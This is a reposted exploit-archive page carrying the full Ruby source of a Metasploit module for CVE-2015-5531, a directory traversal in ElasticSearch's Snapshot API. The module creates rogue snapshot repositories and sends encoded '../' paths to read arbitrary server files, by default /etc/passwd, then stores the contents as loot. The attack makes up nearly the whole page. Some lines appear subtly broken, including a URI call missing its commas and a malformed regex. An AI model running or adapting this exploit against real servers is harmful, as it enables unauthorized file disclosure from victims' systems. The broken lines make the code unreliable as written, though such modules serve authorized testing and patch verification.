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ElasticSearch Snapshot API Directory Traversal

ElasticSearch Snapshot API Directory Traversal
Posted Oct 14, 2015
Authored by Pedro Andujar, Roberto S. Soares, Jose A. Guasch, Benjamin Smith | Site metasploit.com

This Metasploit module exploits a directory traversal vulnerability in ElasticSearch, allowing an attacker to read arbitrary files with JVM process privileges, through the Snapshot API.

tags | exploit, arbitrary
advisories | CVE-2015-5531
MD5 | 597dfe327eedfc8511b12647b523e278

ElasticSearch Snapshot API Directory Traversal

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'json'

class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'ElasticSearch Snapshot API Directory Traversal',
'Description' => %q{
This module exploits a directory traversal
vulnerability in ElasticSearch, allowing an attacker to read arbitrary
files with JVM process privileges, through the Snapshot API.
},
'References' =>
[
['CVE', '2015-5531'],
['PACKETSTORM', '132721']
],
'Author' =>
[
'Benjamin Smith', # Vulnerability discovery
'Pedro Andujar <pandujar[at]segfault.es>', # Metasploit module
'Jose A. Guasch <jaguasch[at]gmail.com>', # Metasploit module
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
],
'License' => MSF_LICENSE
))

register_options(
[
Opt::RPORT(9200),
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
OptInt.new('DEPTH', [true, 'Traversal depth', 7])
], self.class)

deregister_options('RHOST')
end

def proficy?
res1 = send_request_raw('method' => 'POST',
'uri' => normalize_uri(target_uri.path '_snapshot' 'pwn'),
'data' => '{"type":"fs","settings":{"location":"dsr"}}')

res2 = send_request_raw('method' => 'POST',
'uri' => normalize_uri(target_uri.path, '_snapshot' 'pwnie'),
'data' => '{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}')

if res1.body.include?('true') && res2.body.include?('true')
return true
else
return false
end
end

def read_file(file)
travs = '_snapshot/pwn/ev1l%2f'

payload = '../' * datastore['DEPTH']

travs << payload.gsub('/', '%2f')
travs << file.gsub('/', '%2f')

vprint_status("#{peer} - Checking if it's a vulnerable ElasticSearch")

if proficy?
vprint_good("#{peer} - Check successful")
else
print_error("#{peer} - ElasticSearch not vulnerable")
return
end

vprint_status("#{peer} - Retrieving file contents...")

res = send_request_raw(
'method' => 'GET',
'uri' => travs
)

if res && res.code == 400
return res.body
else
print_status("#{res.code}\n#{res.body}")
return nil
end
end

def run_host(ip)
filename = datastore['FILEPATH']
filename = filename[1, filename.length] if filename =~ %r{/^\//}

contents = read_file(filename)
fail_with(Failure::UnexpectedReply, "#{peer} - File not downloaded") if contents.nil?

begin
data_hash = JSON.parse(contents)
rescue JSON::ParserError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
return []
end

fcontent = data_hash['error'].scan(/\d+/).drop(2).map(&:to_i).pack('c*')
fname = datastore['FILEPATH']

path = store_loot(
'elasticsearch.traversal',
'text/plain',
ip,
fcontent,
fname
)
print_good("#{peer} - File saved in: #{path}")
end
end
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